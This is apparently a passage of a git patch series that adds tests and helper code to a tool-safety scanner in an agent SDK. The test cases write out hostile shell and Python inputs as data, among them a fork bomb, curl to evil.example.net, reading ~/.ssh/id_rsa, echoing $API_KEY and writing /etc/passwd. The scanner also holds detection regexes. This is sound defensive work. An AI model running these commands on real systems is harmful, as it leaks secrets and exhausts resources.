node, + ) + return + if max_workers is None: + self.add( + "TSG-RESOURCE-PARALLELISM", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"{call_name} may create concurrent workers without a policy-bound limit.", + self.segment(node), + "Set max_workers within policy.max_parallel_tasks.", + node, + ) + elif max_workers > self.policy.max_parallel_tasks: + self.add( + "TSG-RESOURCE-PARALLELISM", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"{call_name} max_workers={max_workers} exceeds policy limit.", + self.segment(node), + "Set max_workers within policy.max_parallel_tasks.", + node, + ) + def handle_sleep_call(self, node: ast.Call, call_name: str) -> None: seconds = numeric_constant(node.args[0]) if node.args else None if seconds is not None and seconds > self.policy.max_sleep_seconds: @@ -795,8 +949,12 @@ def call_name(self, node: ast.AST) -> str: if isinstance(node, ast.Name): return self.imports.get(node.id, node.id) if isinstance(node, ast.Attribute): + if isinstance(node.value, ast.Name) and node.value.id in self.object_types: + return f"{self.object_types[node.value.id]}.{node.attr}" value_name = self.call_name(node.value) if value_name: + if isinstance(node.value, ast.Name) and "." in value_name and value_name.endswith(f".{node.attr}"): + return value_name return f"{value_name}.{node.attr}" return node.attr if isinstance(node, ast.Call): @@ -964,6 +1122,13 @@ def keyword_bool(node: ast.Call, name: str) -> bool: return False +def keyword_number(node: ast.Call, name: str) -> float | None: + for keyword in node.keywords: + if keyword.arg == name: + return numeric_constant(keyword.value) + return None + + def collect_names(node: ast.AST) -> set[str]: names: set[str] = set() for child in ast.walk(node): @@ -982,7 +1147,7 @@ def extract_host(value: str) -> str: def split_shell_commands(tokens: Sequence[str]) -> list[list[str]]: commands: list[list[str]] = [] current: list[str] = [] - separators = {"|", "||", "&&", ";"} + separators = {"|", "||", "&&", ";", "&"} for token in tokens: if token in separators: if current: @@ -1000,6 +1165,10 @@ def split_shell_commands(tokens: Sequence[str]) -> list[list[str]]: return commands +def has_background_operator(tokens: Sequence[str], line: str) -> bool: + return "&" in tokens or bool(re.search(r"(? bool: command = Path(tokens[0]).name.lower() if tokens else "" normalized = [token.lower() for token in tokens] @@ -1022,6 +1191,69 @@ def targets_system_or_denied_path(tokens: Sequence[str], policy: ToolSafetyPolic return any(policy.is_system_write_path(token) or policy.is_denied_path(token) for token in tokens[1:]) +def redirection_targets(tokens: Sequence[str]) -> list[str]: + targets: list[str] = [] + for index, token in enumerate(tokens): + if token in {">", ">>", "1>", "1>>", "2>", "2>>"}: + if index + 1 < len(tokens): + targets.append(tokens[index + 1]) + continue + match = re.match(r"^(?:[12])?>{1,2}(.+)$", token) + if match: + targets.append(match.group(1)) + return targets + + +def timeout_seconds_from_tokens(tokens: Sequence[str]) -> float | None: + command = Path(tokens[0]).name.lower() if tokens else "" + if command != "timeout": + return None + for token in tokens[1:]: + if token.startswith("-"): + continue + return duration_token_seconds(token) + return None + + +def duration_token_seconds(token: str) -> float | None: + match = re.match(r"^(\d+(?:\.\d+)?)([smhd]?)$", token.lower()) + if not match: + return None + value = float(match.group(1)) + unit = match.group(2) + multipliers = {"": 1, "s": 1, "m": 60, "h": 3600, "d": 86400} + return value * multipliers.get(unit, 1) + + +def parallel_tasks_from_tokens(tokens: Sequence[str]) -> int | None: + command = Path(tokens[0]).name.lower() if tokens else "" + if command == "parallel": + for index, token in enumerate(tokens): + if token in {"-j", "--jobs"} and index + 1 < len(tokens): + return int_token(tokens[index + 1]) + if token.startswith("-j") and len(token) > 2: + return int_token(token[2:]) + if token.startswith("--jobs="): + return int_token(token.split("=", 1)[1]) + return 0 + if command == "xargs": + for index, token in enumerate(tokens): + if token in {"-P", "--max-procs"} and index + 1 < len(tokens): + return int_token(tokens[index + 1]) + if token.startswith("-P") and len(token) > 2: + return int_token(token[2:]) + if token.startswith("--max-procs="): + return int_token(token.split("=", 1)[1]) + return None + + +def int_token(token: str) -> int | None: + try: + return int(token) + except ValueError: + return None + + def line_has_allowlisted_url(line: str, policy: ToolSafetyPolicy) -> bool: urls = URL_RE.findall(line) if not urls: From 26cab0a891d5ab9526b7bad6c6bdad14fd433401 Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Sun, 5 Jul 2026 19:46:11 +0800 Subject: [PATCH 3/6] test: raise tool safety coverage --- tests/tools/safety/test_tool_safety_guard.py | 251 +++++++++++++++++++ trpc_agent_sdk/tools/safety/_policy.py | 6 +- trpc_agent_sdk/tools/safety/_scanner.py | 11 +- 3 files changed, 265 insertions(+), 3 deletions(-) diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py index 6073095d..162d2221 100644 --- a/tests/tools/safety/test_tool_safety_guard.py +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -17,17 +17,28 @@ from trpc_agent_sdk.tools import FunctionTool from trpc_agent_sdk.tools.safety import SafetyDecision from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError +from trpc_agent_sdk.tools.safety import ToolSafetyFinding from trpc_agent_sdk.tools.safety import SafetyRiskLevel from trpc_agent_sdk.tools.safety import ToolSafetyAuditLogger from trpc_agent_sdk.tools.safety import ToolSafetyFilter from trpc_agent_sdk.tools.safety import ToolSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import ToolSafetyReport from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest from trpc_agent_sdk.tools.safety import ToolSafetyScanner +from trpc_agent_sdk.tools.safety import apply_tool_safety_span_attributes +from trpc_agent_sdk.tools.safety import extract_script_from_tool_args +from trpc_agent_sdk.tools.safety import load_tool_safety_policy from trpc_agent_sdk.code_executors import CodeBlock from trpc_agent_sdk.code_executors import CodeExecutionInput from trpc_agent_sdk.code_executors import BaseCodeExecutor from trpc_agent_sdk.code_executors import create_code_execution_result +from trpc_agent_sdk.filter import FilterResult +from trpc_agent_sdk.tools.safety._guard import command_to_args +from trpc_agent_sdk.tools.safety._guard import infer_language_from_key +from trpc_agent_sdk.tools.safety._types import max_risk_level +from trpc_agent_sdk.tools.safety._types import risk_level_value from scripts.tool_safety_check import main as tool_safety_check_main @@ -236,6 +247,129 @@ def test_subprocess_output_capture_has_output_size_recommendation(): assert "max_output_bytes" in finding.recommendation +@pytest.mark.parametrize( + ("script", "language", "rule_id"), + [ + ("print(", "python", "TSG-PY-SYNTAX"), + ("password = 'abcdefghijklmnopqrstuvwxyz'", "python", "TSG-SECRETS-LITERAL"), + ("for i in range(100000):\n pass", "python", "TSG-RESOURCE-LARGE-LOOP"), + ("import pip", "python", "TSG-DEPENDENCY-INSTALL-API"), + ("from urllib import request", "python", "TSG-NETWORK-IMPORT"), + ("import os\nos.remove('/tmp/demo')", "python", "TSG-FILE-DANGEROUS-OP"), + ("open('/etc/passwd', 'w')", "python", "TSG-FILE-SYSTEM-WRITE"), + ("from pathlib import Path\nPath('/etc/app.conf').write_text('x')", "python", "TSG-FILE-SYSTEM-WRITE"), + ("from pathlib import Path\nPath('out.txt').write_text('" + ("x" * 120) + "')", "python", "TSG-RESOURCE-LARGE-WRITE"), + ("import time\ntime.sleep(99)", "python", "TSG-RESOURCE-LONG-SLEEP"), + ("import os\nos.fork()", "python", "TSG-RESOURCE-PROCESS-FANOUT"), + ("import asyncio\nasyncio.gather(" + ", ".join(f't{i}()' for i in range(40)) + ")", "python", + "TSG-RESOURCE-PARALLELISM"), + (":(){ :|:& };:", "bash", "TSG-RESOURCE-FORK-BOMB"), + ("while true; do echo x; done", "bash", "TSG-RESOURCE-INFINITE-LOOP"), + ("sleep 99", "bash", "TSG-RESOURCE-LONG-SLEEP"), + ("curl https://evil.example.net", "bash", "TSG-NETWORK-COMMAND"), + ("systemctl restart demo", "bash", "TSG-SHELL-DANGEROUS-COMMAND"), + ("cat ~/.ssh/id_rsa", "bash", "TSG-SECRETS-READ"), + ("dd if=/dev/zero of=big.bin bs=1M count=1024", "bash", "TSG-RESOURCE-LARGE-WRITE"), + ("echo $API_KEY", "bash", "TSG-SECRETS-SINK"), + ("tee /etc/app.conf", "bash", "TSG-FILE-SYSTEM-WRITE"), + ("echo x > ~/.ssh/config", "bash", "TSG-FILE-DENIED-PATH"), + ], +) +def test_scanner_additional_branches(script, language, rule_id): + tuned_policy = policy(max_loop_iterations=10, max_sleep_seconds=10, max_literal_write_bytes=10, max_parallel_tasks=5) + report = ToolSafetyScanner(tuned_policy).scan(ToolSafetyScanRequest(script=script, language=language)) + + assert any(finding.rule_id == rule_id for finding in report.findings) + + +def test_scanner_unknown_language_and_env_secret_branches(): + report = ToolSafetyScanner(policy()).scan( + ToolSafetyScanRequest(script="noop", language="ruby", env={"API_KEY": "secret-value"})) + + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert any(finding.rule_id == "TSG-LANG-UNKNOWN" for finding in report.findings) + assert any(finding.rule_id == "TSG-SECRETS-ENV" for finding in report.findings) + assert report.redacted is True + + +def test_scanner_command_arg_prefixes_and_duration_helpers(): + scripts = [ + ("", "bash", ["sudo curl https://evil.example.net"], "TSG-NETWORK-COMMAND"), + ("", "bash", ["uv pip install requests"], "TSG-DEPENDENCY-INSTALL"), + ("", "bash", ["poetry add requests"], "TSG-DEPENDENCY-INSTALL"), + ("", "bash", ["parallel -j0 echo {}"], "TSG-RESOURCE-PARALLELISM"), + ("", "bash", ["xargs --max-procs=999"], "TSG-RESOURCE-PARALLELISM"), + ("", "bash", ["timeout -k 1s 10m python job.py"], "TSG-RESOURCE-LONG-TIMEOUT"), + ] + scanner = ToolSafetyScanner(policy(max_timeout_seconds=30, max_parallel_tasks=8)) + + for script, language, command_args, rule_id in scripts: + report = scanner.scan(ToolSafetyScanRequest(script=script, language=language, command_args=command_args)) + assert any(finding.rule_id == rule_id for finding in report.findings), [ + (finding.rule_id, finding.evidence) for finding in report.findings + ] + + +def test_policy_loader_and_matching_branches(tmp_path): + policy_file = tmp_path / "policy.yaml" + policy_file.write_text( + """ +policy: + name: nested + allowed_domains: + - "*.example.com" + allowed_commands: + - custom-tool + denied_paths: + - "" + - .env + audit_log_path: audit.jsonl +extra_flag: yes +""", + encoding="utf-8", + ) + + loaded = ToolSafetyPolicy.load(policy_file) + + assert loaded.name == "nested" + assert loaded.metadata == {"extra_flag": True} + assert loaded.audit_log_path == "audit.jsonl" + assert loaded.is_domain_allowed("api.example.com") is True + assert loaded.is_domain_allowed("example.com") is True + assert loaded.is_domain_allowed(None) is False + assert loaded.is_command_allowed("custom-tool --flag") is True + assert loaded.is_command_allowed(None) is False + assert loaded.is_denied_path(None) is False + assert loaded.is_system_write_path("/") is True + assert loaded.is_system_write_path(None) is False + assert load_tool_safety_policy(None).name == "default" + + +def test_policy_load_rejects_non_mapping(tmp_path): + policy_file = tmp_path / "policy.yaml" + policy_file.write_text("- not-a-mapping\n", encoding="utf-8") + + with pytest.raises(ValueError): + ToolSafetyPolicy.load(policy_file) + + +def test_report_and_type_helpers_cover_empty_and_fallback_paths(): + assert max_risk_level([]) == SafetyRiskLevel.NONE + assert risk_level_value("unknown") == 0 + + report = ToolSafetyReport( + decision="allow", + risk_level="none", + findings=[], + duration_ms=1.2345, + language="python", + scanned_at="2026-07-05T00:00:00+00:00", + ) + + assert report.is_allowed is True + assert json.loads(report.to_json(indent=None))["risk_count"] == 0 + + def test_audit_event_contains_required_fields(tmp_path): report = ToolSafetyScanner(policy()).scan( ToolSafetyScanRequest(script="rm -rf /tmp/demo", language="bash", tool_metadata={"name": "Bash"})) @@ -258,6 +392,61 @@ def test_report_includes_telemetry_attributes(): assert report.telemetry_attributes["tool.safety.rule_id"] == "TSG-RESOURCE-INFINITE-LOOP" +def test_telemetry_handles_list_values_and_span_errors(monkeypatch): + class Span: + def __init__(self): + self.attributes = {} + + def set_attribute(self, key, value): + self.attributes[key] = value + + span = Span() + report = ToolSafetyReport( + decision=SafetyDecision.ALLOW, + risk_level=SafetyRiskLevel.LOW, + findings=[], + duration_ms=0, + language="python", + scanned_at="2026-07-05T00:00:00+00:00", + telemetry_attributes={ + "string": "value", + "list": ["a", "b"], + "object": {"x": 1}, + }, + ) + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._telemetry.trace.get_current_span", lambda: span) + apply_tool_safety_span_attributes(report) + assert span.attributes["list"] == "a,b" + assert span.attributes["object"] == "{'x': 1}" + + class RaisingSpan: + def set_attribute(self, key, value): + raise RuntimeError("boom") + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._telemetry.trace.get_current_span", lambda: RaisingSpan()) + apply_tool_safety_span_attributes(report) + + +@pytest.mark.asyncio +async def test_guard_check_and_run_if_allowed_paths(tmp_path): + audit_path = tmp_path / "audit.jsonl" + guard = ToolSafetyGuard(policy=policy(audit_log_path=str(audit_path)), apply_telemetry=False) + + report = guard.check(ToolSafetyScanRequest(script="print('ok')", language="python")) + assert report.is_allowed + assert audit_path.exists() + + result = await guard.run_if_allowed( + ToolSafetyScanRequest(script="print('ok')", language="python"), + lambda: AsyncMock(return_value="ran")(), + ) + assert result == "ran" + + with pytest.raises(ToolSafetyBlockedError): + guard.check(ToolSafetyScanRequest(script="rm -rf /tmp/demo", language="bash")) + + @pytest.mark.asyncio async def test_tool_filter_blocks_before_handle(): filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy())) @@ -286,6 +475,20 @@ async def test_tool_filter_block_writes_audit_event(tmp_path): assert event["blocked"] is True +@pytest.mark.asyncio +async def test_tool_filter_policy_path_and_passthrough_branches(tmp_path): + policy_path = tmp_path / "policy.yaml" + policy_path.write_text("allowed_commands:\n - echo\n", encoding="utf-8") + filter_ = ToolSafetyFilter(policy_path=policy_path) + + handle_result = FilterResult(rsp={"ok": True}) + result = await filter_.run(create_agent_context(), {"note": "not script"}, AsyncMock(return_value=handle_result)) + assert result is handle_result + + result = await filter_.run(create_agent_context(), "not mapping", AsyncMock(return_value={"plain": True})) + assert result.rsp == {"plain": True} + + @pytest.mark.asyncio async def test_tool_filter_allows_safe_command(): filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy())) @@ -318,6 +521,54 @@ async def execute_code(self, invocation_context, code_execution_input): assert delegate.called is False +@pytest.mark.asyncio +async def test_safety_guarded_code_executor_code_string_paths(): + class DelegateExecutor(BaseCodeExecutor): + called: bool = False + work_dir: str = "/workspace" + + async def execute_code(self, invocation_context, code_execution_input): + self.called = True + return create_code_execution_result(stdout="executed") + + delegate = DelegateExecutor() + executor = SafetyGuardedCodeExecutor(delegate=delegate, guard=ToolSafetyGuard(policy=policy())) + + blocked = await executor.execute_code( + invocation_context=AsyncMock(), + code_execution_input=CodeExecutionInput(code="while True:\n pass"), + ) + assert "Tool safety guard blocked" in blocked.output + assert delegate.called is False + + allowed = await executor.execute_code( + invocation_context=AsyncMock(), + code_execution_input=CodeExecutionInput(code="print('ok')"), + ) + assert "executed" in allowed.output + assert delegate.called is True + + +@pytest.mark.parametrize( + ("args", "expected"), + [ + ({"command": "echo 'unterminated", "cwd": "/tmp"}, ("echo 'unterminated", "bash", "/tmp", ["echo", "'unterminated"])), + ({"script": "#!/bin/bash\necho ok"}, ("#!/bin/bash\necho ok", "bash", None, [])), + ({"script": "set -e\necho ok"}, ("set -e\necho ok", "bash", None, [])), + ({"code": "print('ok')", "lang": "py"}, ("print('ok')", "python", None, [])), + ({"code_blocks": [{"code": "echo ok", "language": "sh"}]}, ("echo ok", "bash", None, [])), + ({"code_blocks": [{"language": "sh"}]}, None), + ], +) +def test_extract_script_from_tool_args_branches(args, expected): + assert extract_script_from_tool_args(args) == expected + + +def test_infer_language_from_key_default(): + assert infer_language_from_key("source", "anything") == "python" + assert command_to_args("echo ok") == ["echo", "ok"] + + def test_scans_500_line_script_under_one_second(): script = "\n".join(f'print("line {i}")' for i in range(500)) scanner = ToolSafetyScanner(policy()) diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py index 3a798a41..39e1eafa 100644 --- a/trpc_agent_sdk/tools/safety/_policy.py +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -161,13 +161,15 @@ def is_system_write_path(self, value: str | None) -> bool: return False normalized = self._normalize_path_text(value) for pattern in self.system_write_paths: - normalized_pattern = self._normalize_path_text(str(pattern)).rstrip("/") + normalized_pattern = self._normalize_path_text(str(pattern)) if not normalized_pattern: continue if normalized_pattern == "/": if normalized in {"/", "/*", "/."}: return True - elif normalized == normalized_pattern or normalized.startswith(f"{normalized_pattern}/"): + continue + normalized_pattern = normalized_pattern.rstrip("/") + if normalized == normalized_pattern or normalized.startswith(f"{normalized_pattern}/"): return True return False diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py index 7c40e326..b1066088 100644 --- a/trpc_agent_sdk/tools/safety/_scanner.py +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -1208,8 +1208,17 @@ def timeout_seconds_from_tokens(tokens: Sequence[str]) -> float | None: command = Path(tokens[0]).name.lower() if tokens else "" if command != "timeout": return None - for token in tokens[1:]: + index = 1 + while index < len(tokens): + token = tokens[index] + if token in {"-k", "--kill-after"}: + index += 2 + continue + if token.startswith("--kill-after="): + index += 1 + continue if token.startswith("-"): + index += 1 continue return duration_token_seconds(token) return None From 1d77714812b42119af1356ed61e3d8e4cffd1486 Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Sun, 5 Jul 2026 20:21:09 +0800 Subject: [PATCH 4/6] test: cover tool safety patch lines --- tests/tools/safety/test_tool_safety_guard.py | 91 ++++++++++++++++++-- trpc_agent_sdk/tools/safety/_guard.py | 16 +++- trpc_agent_sdk/tools/safety/_policy.py | 1 - trpc_agent_sdk/tools/safety/_scanner.py | 46 +++++----- 4 files changed, 120 insertions(+), 34 deletions(-) diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py index 162d2221..1aed0db0 100644 --- a/tests/tools/safety/test_tool_safety_guard.py +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -6,6 +6,7 @@ from __future__ import annotations +import ast import json import time from pathlib import Path @@ -13,14 +14,17 @@ import pytest +from trpc_agent_sdk.code_executors import CodeBlock +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import create_code_execution_result from trpc_agent_sdk.context import create_agent_context -from trpc_agent_sdk.tools import FunctionTool +from trpc_agent_sdk.filter import FilterResult from trpc_agent_sdk.tools.safety import SafetyDecision from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor -from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError -from trpc_agent_sdk.tools.safety import ToolSafetyFinding from trpc_agent_sdk.tools.safety import SafetyRiskLevel from trpc_agent_sdk.tools.safety import ToolSafetyAuditLogger +from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError from trpc_agent_sdk.tools.safety import ToolSafetyFilter from trpc_agent_sdk.tools.safety import ToolSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy @@ -30,11 +34,8 @@ from trpc_agent_sdk.tools.safety import apply_tool_safety_span_attributes from trpc_agent_sdk.tools.safety import extract_script_from_tool_args from trpc_agent_sdk.tools.safety import load_tool_safety_policy -from trpc_agent_sdk.code_executors import CodeBlock -from trpc_agent_sdk.code_executors import CodeExecutionInput -from trpc_agent_sdk.code_executors import BaseCodeExecutor -from trpc_agent_sdk.code_executors import create_code_execution_result -from trpc_agent_sdk.filter import FilterResult +from trpc_agent_sdk.tools.safety import _scanner as scanner_module +from trpc_agent_sdk.tools.safety import _types as types_module from trpc_agent_sdk.tools.safety._guard import command_to_args from trpc_agent_sdk.tools.safety._guard import infer_language_from_key from trpc_agent_sdk.tools.safety._types import max_risk_level @@ -310,6 +311,71 @@ def test_scanner_command_arg_prefixes_and_duration_helpers(): ] +def test_scanner_edge_branches_from_direct_scans(monkeypatch): + scanner = ToolSafetyScanner(policy(max_parallel_tasks=2, max_loop_iterations=3)) + + assert scanner.scan(ToolSafetyScanRequest(script="", language="python", env=[])).decision == SafetyDecision.ALLOW + assert scanner._scan_bash_line("", 1) == [] # pylint: disable=protected-access + + monkeypatch.setattr(scanner_module, "split_shell_commands", lambda tokens: [[]]) + assert scanner._scan_bash_line("echo ok", 1) == [] # pylint: disable=protected-access + + scripts = [ + ("funcs = [print]\nfuncs[0]('x')", None), + ("import os\nos.remove('.env')", "TSG-FILE-DENIED-PATH"), + ("open('/etc/passwd', mode='w')", "TSG-FILE-SYSTEM-WRITE"), + ("f = open('out.txt')", None), + ("import concurrent.futures\nconcurrent.futures.ThreadPoolExecutor()", "TSG-RESOURCE-PARALLELISM"), + ("for i in range(limit):\n pass", None), + ("for i in range(2, 10, 2):\n pass", "TSG-RESOURCE-LARGE-LOOP"), + ] + for script, rule_id in scripts: + report = scanner.scan(ToolSafetyScanRequest(script=script, language="python")) + if rule_id: + assert any(finding.rule_id == rule_id for finding in report.findings) + + +def test_python_analyzer_helper_edge_branches(): + analyzer = scanner_module._PythonAnalyzer("pass\n", policy()) # pylint: disable=protected-access + + assert analyzer.network_target_from_arg(ast.parse("url", mode="eval").body) == "" + assert analyzer.node_line(ast.Pass(lineno=1, col_offset=0)) == "pass" + assert analyzer.node_line(ast.Pass(lineno=99, col_offset=0)) == "" + assert analyzer.call_name(ast.Attribute(value=ast.Constant(value=1), attr="field", ctx=ast.Load())) == "field" + assert analyzer.call_name(ast.Constant(value=None)) == "" + assert analyzer.name_of(ast.Attribute(value=ast.Name(id="obj", ctx=ast.Load()), attr="token", ctx=ast.Load())) == "token" + assert analyzer.name_of(ast.Constant(value=None)) == "" + assert analyzer.constant_string(None) == "" + assert analyzer.constant_string(ast.parse("f'key={value}'", mode="eval").body) == "key={}" + assert analyzer.constant_string(ast.parse("['a', value]", mode="eval").body) == "" + assert analyzer.constant_string(ast.parse("('a', 'b')", mode="eval").body) == "a b" + assert analyzer.path_literal_from_node(None) == "" + assert analyzer.path_literal_from_node(ast.parse("Path('.env')", mode="eval").body) == ".env" + assert analyzer.path_literal_from_node(ast.parse("Path(value)", mode="eval").body) == "" + assert analyzer.path_literal_from_node(ast.parse("Path('.env').expanduser().read_text", mode="eval").body) == ".env" + assert analyzer.path_literal_from_node(ast.parse("config.read_text", mode="eval").body) == "" + assert analyzer.range_count(ast.parse("range(limit)", mode="eval").body) is None + assert analyzer.range_count(ast.parse("range(2, 10, 2)", mode="eval").body) == 4 + + +def test_scanner_module_helper_edge_branches(): + assert scanner_module.is_secret_name("") is False + assert scanner_module.numeric_constant(ast.parse("value", mode="eval").body) is None + assert scanner_module.is_install_invocation(["python", "-m", "pip", "install", "demo"]) is False + assert scanner_module.is_recursive_delete(["echo", "-rf"]) is False + assert scanner_module.redirection_targets(["echo", "x", ">/etc/app.conf"]) == ["/etc/app.conf"] + assert scanner_module.timeout_seconds_from_tokens(["timeout", "--kill-after=1s", "10m"]) == 600 + assert scanner_module.timeout_seconds_from_tokens(["timeout", "--preserve-status", "10m"]) == 600 + assert scanner_module.timeout_seconds_from_tokens(["timeout", "--preserve-status"]) is None + assert scanner_module.duration_token_seconds("never") is None + assert scanner_module.parallel_tasks_from_tokens(["parallel", "-j", "4"]) == 4 + assert scanner_module.parallel_tasks_from_tokens(["parallel", "--jobs=7"]) == 7 + assert scanner_module.parallel_tasks_from_tokens(["parallel", "echo"]) == 0 + assert scanner_module.parallel_tasks_from_tokens(["xargs", "-P3"]) == 3 + assert scanner_module.int_token("many") is None + assert scanner_module.line_has_allowlisted_url("echo no-url", policy()) is False + + def test_policy_loader_and_matching_branches(tmp_path): policy_file = tmp_path / "policy.yaml" policy_file.write_text( @@ -340,8 +406,11 @@ def test_policy_loader_and_matching_branches(tmp_path): assert loaded.is_command_allowed("custom-tool --flag") is True assert loaded.is_command_allowed(None) is False assert loaded.is_denied_path(None) is False + assert loaded.is_denied_path("config.yaml") is False assert loaded.is_system_write_path("/") is True assert loaded.is_system_write_path(None) is False + assert ToolSafetyPolicy(allowed_domains=[""]).is_domain_allowed("api.example.com") is False + assert ToolSafetyPolicy(system_write_paths=[""]).is_system_write_path("/etc/passwd") is False assert load_tool_safety_policy(None).name == "default" @@ -370,6 +439,12 @@ def test_report_and_type_helpers_cover_empty_and_fallback_paths(): assert json.loads(report.to_json(indent=None))["risk_count"] == 0 +def test_max_risk_level_fallback_when_order_has_no_match(monkeypatch): + monkeypatch.setattr(types_module, "RISK_LEVEL_ORDER", {}) + + assert types_module.max_risk_level(["unexpected"]) == SafetyRiskLevel.NONE + + def test_audit_event_contains_required_fields(tmp_path): report = ToolSafetyScanner(policy()).scan( ToolSafetyScanRequest(script="rm -rf /tmp/demo", language="bash", tool_metadata={"name": "Bash"})) diff --git a/trpc_agent_sdk/tools/safety/_guard.py b/trpc_agent_sdk/tools/safety/_guard.py index 4fb2e555..79128845 100644 --- a/trpc_agent_sdk/tools/safety/_guard.py +++ b/trpc_agent_sdk/tools/safety/_guard.py @@ -121,23 +121,31 @@ async def execute_code( script=block.code, language=block.language, cwd=self._work_dir(), - tool_metadata={"name": "CodeExecutor", "executor": self.delegate.__class__.__name__}, + tool_metadata={ + "name": "CodeExecutor", + "executor": self.delegate.__class__.__name__, + }, ) try: self.guard.check(request) except ToolSafetyBlockedError as exc: - return create_code_execution_result(stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") + return create_code_execution_result( + stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") if code_execution_input.code and not code_execution_input.code_blocks: request = ToolSafetyScanRequest( script=code_execution_input.code, language="python", cwd=self._work_dir(), - tool_metadata={"name": "CodeExecutor", "executor": self.delegate.__class__.__name__}, + tool_metadata={ + "name": "CodeExecutor", + "executor": self.delegate.__class__.__name__, + }, ) try: self.guard.check(request) except ToolSafetyBlockedError as exc: - return create_code_execution_result(stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") + return create_code_execution_result( + stderr=f"Tool safety guard blocked code execution: {exc.report.to_json(indent=None)}") return await self.delegate.execute_code(invocation_context, code_execution_input) def _work_dir(self) -> str | None: diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py index 39e1eafa..84b1cf59 100644 --- a/trpc_agent_sdk/tools/safety/_policy.py +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -14,7 +14,6 @@ import yaml - DEFAULT_ALLOWED_COMMANDS = [ "awk", "cat", diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py index b1066088..e23a5eaa 100644 --- a/trpc_agent_sdk/tools/safety/_scanner.py +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -27,12 +27,10 @@ from ._types import max_risk_level from ._types import risk_level_value - SECRET_VALUE_RE = re.compile( r"(?i)(api[_-]?key|access[_-]?token|secret|password|private[_-]?key|authorization)\s*[:=]\s*" - r"['\"]?([A-Za-z0-9_./+=:-]{12,})" -) -URL_RE = re.compile(r"(?i)\bhttps?://[^\s'\"<>)]+" ) + r"['\"]?([A-Za-z0-9_./+=:-]{12,})") +URL_RE = re.compile(r"(?i)\bhttps?://[^\s'\"<>)]+") ENV_VAR_RE = re.compile(r"\$(?:\{)?([A-Za-z_][A-Za-z0-9_]*)") SHELL_CONTROL_RE = re.compile(r"(\|\||&&|;|\||`|\$\(|>|<)") FORK_BOMB_RE = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:") @@ -79,15 +77,21 @@ "SECRET", "TOKEN", } -SENSITIVE_SINK_NAMES = {"print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", - "logger.error", "sys.stdout.write", "sys.stderr.write"} +SENSITIVE_SINK_NAMES = { + "print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", "logger.error", + "sys.stdout.write", "sys.stderr.write" +} NETWORK_PY_MODULES = {"requests", "aiohttp", "httpx", "urllib", "socket", "websocket"} -SUBPROCESS_CALLS = {"subprocess.run", "subprocess.call", "subprocess.Popen", "subprocess.check_call", - "subprocess.check_output", "os.system", "os.popen", "os.spawnl", "os.spawnle", "os.spawnlp", - "os.spawnlpe", "os.spawnv", "os.spawnve", "os.spawnvp", "os.spawnvpe", "pty.spawn"} +SUBPROCESS_CALLS = { + "subprocess.run", "subprocess.call", "subprocess.Popen", "subprocess.check_call", "subprocess.check_output", + "os.system", "os.popen", "os.spawnl", "os.spawnle", "os.spawnlp", "os.spawnlpe", "os.spawnv", "os.spawnve", + "os.spawnvp", "os.spawnvpe", "pty.spawn" +} FILE_OPEN_CALLS = {"open", "Path.open", "pathlib.Path.open"} -DANGEROUS_FILE_CALLS = {"os.remove", "os.unlink", "os.rmdir", "shutil.rmtree", "Path.unlink", "Path.rmdir", - "pathlib.Path.unlink", "pathlib.Path.rmdir"} +DANGEROUS_FILE_CALLS = { + "os.remove", "os.unlink", "os.rmdir", "shutil.rmtree", "Path.unlink", "Path.rmdir", "pathlib.Path.unlink", + "pathlib.Path.rmdir" +} INSTALL_PY_MODULES = {"pip", "ensurepip"} SHELL_WRITE_COMMANDS = {"cp", "install", "mkdir", "mv", "tee", "touch"} PARALLEL_PY_CALLS = { @@ -137,8 +141,8 @@ def scan(self, request: ToolSafetyScanRequest) -> ToolSafetyReport: redacted = any(item.redacted for item in findings) rule_ids = [item.rule_id for item in findings] primary_rule_id = primary_rule(findings) - blocked = decision == SafetyDecision.DENY or ( - decision == SafetyDecision.NEEDS_HUMAN_REVIEW and self.policy.block_on_review) + blocked = decision == SafetyDecision.DENY or (decision == SafetyDecision.NEEDS_HUMAN_REVIEW + and self.policy.block_on_review) report = 